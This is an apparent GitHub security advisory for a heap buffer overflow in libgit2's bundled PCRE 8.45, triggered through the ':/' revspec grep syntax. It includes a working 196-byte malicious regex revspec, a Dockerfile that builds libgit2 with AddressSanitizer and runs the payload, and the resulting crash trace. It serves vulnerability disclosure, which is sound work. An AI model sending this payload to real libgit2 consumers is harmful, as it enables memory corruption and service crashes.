GHSA-wfx7-g85r-q6vw
CVE Information
Summary
git_revparse_singleaccepts revspecs of the form:/<pattern>(the "grep by commit message" shorthand) and forwards<pattern>directly to libgit2's regex backend. In libgit2's default configuration (USE_REGEX=builtin, which is also the OSS-Fuzz build configuration), the backend is the in-tree copy of PCRE 8.45 atdeps/pcre/.PCRE 8.45 compiles patterns in two passes: the first pass estimates the size of the output buffer, and the second pass writes the compiled pattern into a
malloc'd buffer of that size. For certain patterns — specifically those combining(?J)duplicate names,(?|...)branch-reset, multiple identically-named groups, and a named back-reference — pass 1 under-counts and pass 2 then writes past the end of the allocation. The crash site iscompile_branchatdeps/pcre/pcre_compile.c:7735(PUT2(code, 1+LINK_SIZE, cd->bracount)), where the high byte of the 16-bitbracountlands 2 bytes past a 549-byte allocation made atpcre_compile.c:9424.The bug is real, deterministic, and reachable from libgit2's shipped
lg2example CLI (no fuzz harness needed). Any libgit2 consumer that forwards attacker-influenced strings into a revspec is exposed.The defect is a known, since-fixed bug class — but the fix lives in PCRE2, not PCRE1
The PCRE 8.45 source ships with an explicit acknowledgement of this bug class in
deps/pcre/pcre_compile.c:7346–7367:"In fact, this can happen for a non-forward reference because another group with the same number might be created later. This issue is fixed 'properly' in PCRE2. As PCRE1 is now in maintenance only mode, we finesse the bug by allowing more memory always."
The "properly" fix in PCRE2 is commit
c9ac9e23eca596b44468ef414d70347822a010b3— "Refactor named group handling by adding a pre-pass that generates a list of named groups with their numbers before the rest of the compiling code is run. This has simplified the main compiling code and removed some sources of error." (Philip Hazel, 2015). The refactor is structural and was not back-ported to PCRE 8.x; it shipped in PCRE2 10.20 and every PCRE2 release since.Reproducer
Direct shipped
lg2(bundled libgit2 example CLI). The Dockerfile is fully self-contained — the 196-byte PoC revspec is embedded inline as base64, no build-context files are needed.docker build -t libgit2-pcre-poc -f docker/Dockerfile.u24 . docker run --rm libgit2-pcre-pocThe Dockerfile clones libgit2 at HEAD with
--depth 1(the resolved SHA is echoed during the build for traceability), builds with-fsanitize=addressandUSE_REGEX=builtin(default), and runslg2 rev-parse "$(cat /tmp/poc)"against a freshly-initialised repository.Observed crash (ASAN, RelWithDebInfo, libgit2 HEAD)
==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...02a7 WRITE of size 1 at 0x...02a7 thread T0 #0 compile_branch deps/pcre/pcre_compile.c:7735 #1 compile_regex deps/pcre/pcre_compile.c:8413 #2 compile_branch deps/pcre/pcre_compile.c:7774 #3 compile_regex deps/pcre/pcre_compile.c:8413 #4 pcre_compile2 deps/pcre/pcre_compile.c:9502 #5 git_regexp_compile src/util/regexp.c:20 #6 build_regex src/libgit2/revparse.c:61 #7 handle_grep_syntax src/libgit2/revparse.c:508 #8 revparse src/libgit2/revparse.c:784 #9 git_revparse_ext src/libgit2/revparse.c:874 #10 git_revparse_single src/libgit2/revparse.c:897 #11 git_revparse src/libgit2/revparse.c:969 #12 parse_revision examples/rev-parse.c:70 #13 lg2_rev_parse examples/rev-parse.c:32 #14 run_command examples/lg2.c:47 #15 main examples/lg2.c:114 0x...02a7 is located 2 bytes after 549-byte region allocated by thread T0 here: #0 malloc #1 pcre_compile2 deps/pcre/pcre_compile.c:9424 ... #14 main examples/lg2.c:114The PoC revspec is:
:/(?J)(?|((((((((((((((((((((\k<B>))))))))))))))))))))|(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x)(?<B>x))The full Dockerfile is as follows:
FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake pkg-config \ clang libclang-rt-18-dev llvm-18 libc6-dev libssl-dev zlib1g-dev \ && rm -rf /var/lib/apt/lists/* ENV CC=clang ENV CXX=clang++ ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address -fsanitize-address-use-after-scope" ENV CXXFLAGS="$CFLAGS" ENV LDFLAGS="-fsanitize=address" # Clone libgit2 at latest HEAD (no pinned commit). The resolved SHA is # printed below for traceability — capture it from the build log. WORKDIR /src RUN git clone --depth 1 https://github.com/libgit2/libgit2.git libgit2 WORKDIR /src/libgit2 RUN echo "Built against libgit2 HEAD: $(git rev-parse HEAD) ($(git log -1 --format=%ci HEAD))" # Build with the bundled PCRE 8.45 (USE_REGEX=builtin) RUN mkdir build && cd build && \ cmake .. \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS="$CFLAGS" \ -DCMAKE_CXX_FLAGS="$CXXFLAGS" \ -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \ -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \ -DUSE_REGEX=builtin \ -DBUILD_SHARED_LIBS=OFF \ -DBUILD_CLAR=OFF \ -DBUILD_TESTS=OFF \ -DBUILD_EXAMPLES=ON \ -DUSE_HTTPS=OFF \ -DUSE_AUTH_NTLM=OFF \ -DUSE_SSH=OFF \ -DUSE_BUNDLED_ZLIB=ON && \ make -j"$(nproc)" lg2 # Embed the 196-byte attacker-controlled revspec (PCRE pattern starting with # `:/(?J)(?|...\k<B>...`) inline as base64 so this Dockerfile is fully # self-contained and needs no build-context files. RUN echo 'Oi8oP0opKD98KCgoKCgoKCgoKCgoKCgoKCgoKChcazxCPikpKSkpKSkpKSkpKSkpKSkpKSkpfCg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKD88Qj54KSg/PEI+eCkoPzxCPngpKQ==' \ | base64 -d > /tmp/poc # Initialise a tiny repository so lg2 rev-parse has something to parse. RUN /src/libgit2/build/examples/lg2 init /tmp/repo && \ cd /tmp/repo && \ git -c user.email=a@a -c user.name=a commit --allow-empty -m init ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-18/bin/llvm-symbolizer # Invoke the canonical libgit2 CLI example (`lg2 rev-parse <spec>`), # feeding it the attacker-controlled revspec verbatim. The revspec is # read from /tmp/poc to avoid shell-quoting hazards. CMD ["/bin/sh", "-c", "cd /tmp/repo && /src/libgit2/build/examples/lg2 rev-parse \"$(cat /tmp/poc)\" 2>&1; echo EXIT=$?"]Attribution
Please attribute Claude and Ada Logics. This issue was found by Anthropic from using agents to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers.